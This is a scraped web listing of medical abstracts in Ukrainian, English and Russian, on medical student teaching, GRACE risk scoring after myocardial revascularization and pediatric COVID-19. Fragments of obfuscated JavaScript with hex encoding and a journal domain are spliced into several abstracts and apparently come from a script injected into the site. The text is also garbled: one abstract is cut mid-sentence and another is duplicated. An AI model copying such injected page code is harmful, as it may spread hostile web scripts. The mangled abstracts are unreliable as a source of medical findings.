ВИДИ ОРГАНІЗАЦІЇ САМОСТІЙНОЇ РОБОТИ СТУДЕНТІВ З ВНУТРІШНЬОЇ МЕДИЦИНИ

This article discusses the forms of independent work of 5th course students at the Department of Internal Medicine №2 and Nursing of SHEI “Ivano-Frankivsk National Medical University”. The main forms of independent work of 5th course students of Internal Medicine are educational medical history, workbooks and test tasks for monitoring theoretical knowledges.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;eУ даній статті обговорюються форми організації самостійної роботи студентів 5 курсу на кафедрі внутрішньої медицини №2 та медсестринства ДВНЗ “Івано-Франківський національний медичний університет”. Основними формами організації самостійної роботи студентів 5 курсу з внутрішньої медицини є навчальна історія хвороби, робочий зошит і тестові завдання для контролю отриманих теоретичних знань.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;

МЕТОДОЛОГІЧНІ АСПЕКТИ ПРОВЕДЕННЯ СТУДЕНТСЬКОЇ ПРЕДМЕТНОЇ ОЛІМПІАДИ З ДИСЦИПЛІНИ “ВНУТРІШНЯ МЕДИЦИНА”

The article discusses features of organization and holding of Olympic competition of students in higher education institutions, including discipline "internal medicine". The authors formulated methods of competition, which includes a control test, work at the bedside and solving situational problems of high complexity.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;eУ статті розглянуто особливості організації та проведення олімпійських змагань студентів вищих медичних навчальних закладів, зокрема з навчальної дисципліни “внутрішня медицина”. Авторами сформульована методика проведення олімпіади, яка включає в себе проведення тестового контролю, роботи біля ліжка хворого та вирішення ситуаційних задач підвищеної складності.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;

Risk prediction in acute coronary syndrome depending on the types of myocard revascularization

Risk of complications in patients with acute coronary syndrome determination has received much attention and offered a variety of options for scales in the last years. GRACE scale is the most informative method to assess the risk of death during hospitalization period and during the next 6 months at present. Some studies recommend to complement GRACE scale with detection of the N-terminal prohormone brain natriuretic peptide (NT-proBNP) blood levels. The purpose of the study was to assess risk factors by GRACE scale and activity in serum levels of NT–proBNP in myocardial infarction depending on the types of coronary arteries revascularization. Materials and Methods. The study involved 80 patients with acute myocardial infarction with heart failure; the average age of patients was (61.16±5.79) years, 52 (65 %) men. The patients were divided into 4 groups. Group I included patients who were prescribed thrombolytic therapy (n=10); group II patients underwent percutaneous coronary intervention (PCI) with stenting of the infarction–depending vessels (n=35); group III involved patients (n=23) who were administered both methods of treatment. Group IV included 12 individuals who were administered conservative treatment. Results. The research showed that the lowest levels of NT–proBNP were observed on the 7th day in patients who have been administered percutaneous coronary intervention (PCI) with stenting of the infarction–depending vessels (254.1±11.3 fmol/ml, p<0.05). The risk of adverse events evaluated by the GRACE scale in patients with MI after performed PCI with stenting of the infarction–depending vessels and thrombolytic therapy is lower (12.2±1.35 %) than in patients who were administered thrombolytic therapy (14.23±0.58 %) and those with conservative treatment (15.63±0.89 %). Conclusion. The risk of death by GRACE scale in patients with myocardial infarction after performed PCI with stenting of the infarction–depending vessels and thrombolytic therapy is lower than in patients without coronary intervention

Прогнозування ризику при гострому коронарному синдромі залежно від типів реваскуляризації міокарда

Risk of complications in patients with acute coronary syndrome determination has received much attention and offered a variety of options for scales in the last years. GRACE scale is the most informative method to assess the risk of death during hospitalization period and during the next 6 months at present. Some studies recommend to complement GRACE scale with detection of the N-terminal prohormone brain natriuretic peptide (NT-proBNP) blood levels.The purpose of the study was to assess risk factors by GRACE scale and activity in serum levels of NT–proBNP in myocardial infarction depending on the types of coronary arteries revascularization.Materials and Methods. The study involved 80 patients with acute myocardial infarction with heart failure; the average age of patients was (61.16±5.79) years, 52 (65 %) men. The patients were divided into 4 groups. Group I included patients who were prescribed thrombolytic therapy (n=10); group II patients underwent percutaneous coronary intervention (PCI) with stenting of the infarction–depending vessels (n=35); group III involved patients (n=23) who were administered both methods of treatment. Group IV included 12 individuals who were administered conservative treatment.Results. The research showed that the lowest levels of NT–proBNP were observed on the 7th day in patients who have been administered percutaneous coronary intervention (PCI) with stenting of the infarction–depending vessels (254.1±11.3 fmol/ml, p&lt;0.05).  The risk of adverse events evaluated by the GRACE scale in patients with MI after performed PCI with stenting of the infarction–depending vessels and thrombolytic therapy is lower (12.2±1.35 %) than in patients who were administered thrombolytic therapy (14.23±0.58 %) and those with conservative treatment (15.63±0.89 %).Conclusion. The risk of death by GRACE scale in patients with myocardial infarction after performed PCI with stenting of the infarction–depending vessels and thrombolytic therapy is lower than in patients without coronary intervention.В течение последних лет стратификации риска больных с острым коронарным синдромом уделялось много внимания и предлагались различные варианты шкал. Наиболее информативной на сегодняшний день методикой, позволяющей оценить риск смерти как в период госпитализации, так и в течение ближайших 6 месяцев, является шкала GRACE. В отдельных исследованиях рекомендуется дополнить шкалу GRACE определением в крови уровня N-конечного фрагмента мозгового натрийуретического пептида (NT-proBNP).Цель работы – оценить степень риска неблагоприятных событий по шкале GRACE и активность сывороточных уровней NT-proBNP при инфаркте миокарда в зависимости от способа реваскуляризации коронарных артерий.Материалы и методы. Обследовано 80 больных острым инфарктом миокарда с сопутствующей сердечной недостаточностью, средний возраст которых составил (61,16±5,79) года. Среди обследуемых преобладали мужчины 52 (65 %). Больных разделили на четыре группы: 1 группа – больные, которым проведена тромболитическая терапия (n=10); 2 группа (n=35) – первичное чрескожное коронарное вмешательство (ЧКВ) со стентированием инфаркт-зависимой коронарной артерии (ИЗКА), 3 группа (n=23) – больные, которым проводили тромболитическую терапию (ТЛТ) с последующим ЧКВ ИЗКА; 4 группу составили 12 человек, которых лечили только консервативно без ЧКВ. Результаты. В ходе работы установлено, что самые низкие уровни NT-proBNP на 7 сутки наблюдались в группе больных, которым проводили ЧКВ со стентированием ИЗКА (254,1±11,3 фмоль/мл, р&lt;0,05). Риск неблагоприятных событий, рассчитанных по шкале GRACE, у больных с инфарктом миокарда после проведённой реваскуляризации ИЗКА и ТЛТ с ЧКВ ИЗКА ниже (12,2±1,35 %), чем у больных, которым проводили ТЛТ (14,23±0,58 %), и тех, которые получали только медикаментозное лечение (15,63±0,89 %).Выводы. Риск смерти по шкале GRACE у больных с инфарктом миокарда после проведённой реваскуляризации путём стентирования ИЗКА ниже, чем у больных без коронарного вмешательства.Протягом останніх років стратифікації ризику несприятливих подій у хворих на гострий коронарний синдром приділялося багато уваги та пропонувалися різноманітні варіанти шкал. Найбільш інформативною натепер методикою, що дає можливість оцінити ризик смерті як у період госпіталізації, так і протягом найближчих 6 місяців, є шкала GRACE. В окремих дослідженнях рекомендовано доповнити шкалу GRACE визначенням у крові рівня N-кінцевого фрагмента мозкового натрійуретичного пептиду (NT-proBNP). Мета роботи – оцінити ступінь ризику несприятливих подій за шкалою GRACE та активність сироваткових рівнів NT-proBNP при інфаркті міокарда залежно від способу реваскуляризації коронарних артерій.Матеріали та методи. Обстежили 80 осіб на гострий інфаркт міокарда з супутньою серцевою недостатністю, середній вік дорівнював 61,16±5,79 року. Серед пацієнтів переважали чоловіки 52 (65 %). Хворих поділили на чотири групи: до 1 ввійшли хворі, яким застосована тромболітична терапія (n=10); 2 група (n=35) – це хворі, яким проводили первинне черезшкірне коронарне втручання (ЧКВ) зі стентуванням інфаркт-залежної коронарної артерії (ІЗКА); до 3 групи (n=23) увійшли хворі, яким здійснили тромболітичну терапію (ТЛТ) із ЧКВ ІЗКА; до 4 групи – 12 осіб, яких лікували тільки медикаментозно.Результати. Встановили, що найнижчі рівні NT-proBNP на 7 добу спостерігалися у групі хворих, яким проводили ЧКВ зі стентуванням ІЗКА (254,1±11,3 фмоль/мл, р&lt;0,05). Ризик несприятливих подій, що розраховані за шкалою GRACE, у хворих з ІМ після реваскуляризації ІЗКА та ТЛТ із ЧКВ ІЗКА є нижчим (12,2±1,35 %), ніж у хворих, яким здійснили ТЛТ (14,23±0,58 %) та у тих пацієнтів, які отримували лише медикаментозне лікування (15,63±0,89 %).Висновки. Ризик смерті за шкалою GRACE у хворих на інфаркт міокарда після реваскуляризації шляхом стентування ІЗКА є нижчим, ніж у хворих, які отримували лише медикаментозне лікування

Студентський науковий гурток: удосконалення професійних навиків

The article analyzes one of the types of students’ research work, including students’ scientific society of internal medicine. The work in the scientific circle helps to create and develop clinical and analytical thinking, increases the effectiveness of the learning process and promotes finding talented students.В статье проанализирован один из видов научно-исследовательской работы студентов, а именно: студенческий научный кружок с внутренней медицины. Работа в научном кружке обеспечивает формирование и углубление клинического и аналитического мышления, повышает эффективность учебного процесса и способствует выявлению способных студентов.У статті проаналізовано один із видів науково-дослідної роботи студентів, а саме: студентський науковий гурток із внутрішньої медицини. Робота в науковому гуртку забезпечує формування та поглиблення клінічного і аналітичного мислення, підвищує ефективність навчального процесу та сприяє виявленню здібних студентів

Factors Associated with Severe Gastrointestinal Diagnoses in Children with SARS-CoV-2 Infection or Multisystem Inflammatory Syndrome

Importance: Severe gastrointestinal (GI) manifestations have been sporadically reported in children with COVID-19; however, their frequency and clinical outcome are unknown. Objective: To describe the clinical, radiological, and histopathologic characteristics of children with COVID-19 presenting with severe GI manifestations to identify factors associated with a severe outcome. Design, Setting, and Participants: A multicenter retrospective cohort study (February 25, 2020, to January 20, 2021) enrolled inpatient and outpatient children (aged 10 years: OR, 6.37; 95% CI, 2.12-19.1, compared with preschool-Age), abdominal pain (adjusted OR [aOR], 34.5; 95% CI, 10.1-118), lymphopenia (aOR, 8.93; 95% CI, 3.03-26.3), or MIS-C (aOR, 6.28; 95% CI, 1.92-20.5). Diarrhea was associated with a higher chance of adenomesenteritis (aOR, 3.13; 95% CI, 1.08-9.12) or abdominal fluid collection (aOR, 3.22; 95% CI, 1.03-10.0). Conclusions and Relevance: In this multicenter cohort study of Italian children with SARS-CoV-2 infection or MIS-C, 9.5% of the children had severe GI involvement, frequently associated with MIS-C. These findings suggest that prompt identification may improve the management of serious complications

Multicentre Italian study of SARS-CoV-2 infection in children and adolescents, preliminary data as at 10 April 2020

Data on features of severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) in children and adolescents are scarce. We report preliminary results of an Italian multicentre study comprising 168 laboratory-confirmed paediatric cases (median: 2.3 years, range: 1 day-17.7 years, 55.9% males), of which 67.9% were hospitalised and 19.6% had comorbidities. Fever was the most common symptom, gastrointestinal manifestations were frequent; two children required intensive care, five had seizures, 49 received experimental treatments and all recovered

Multicentre Italian study of SARS-CoV-2 infection in children and adolescents, preliminary data as at 10 April 2020

Data on features of severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) in children and adolescents are scarce. We report preliminary results of an Italian multicentre study comprising 168 laboratory-confirmed paediatric cases (median: 2.3 years, range: 1 day-17.7 years, 55.9% males), of which 67.9% were hospitalised and 19.6% had comorbidities. Fever was the most common symptom, gastrointestinal manifestations were frequent; two children required intensive care, five had seizures, 49 received experimental treatments and all recovered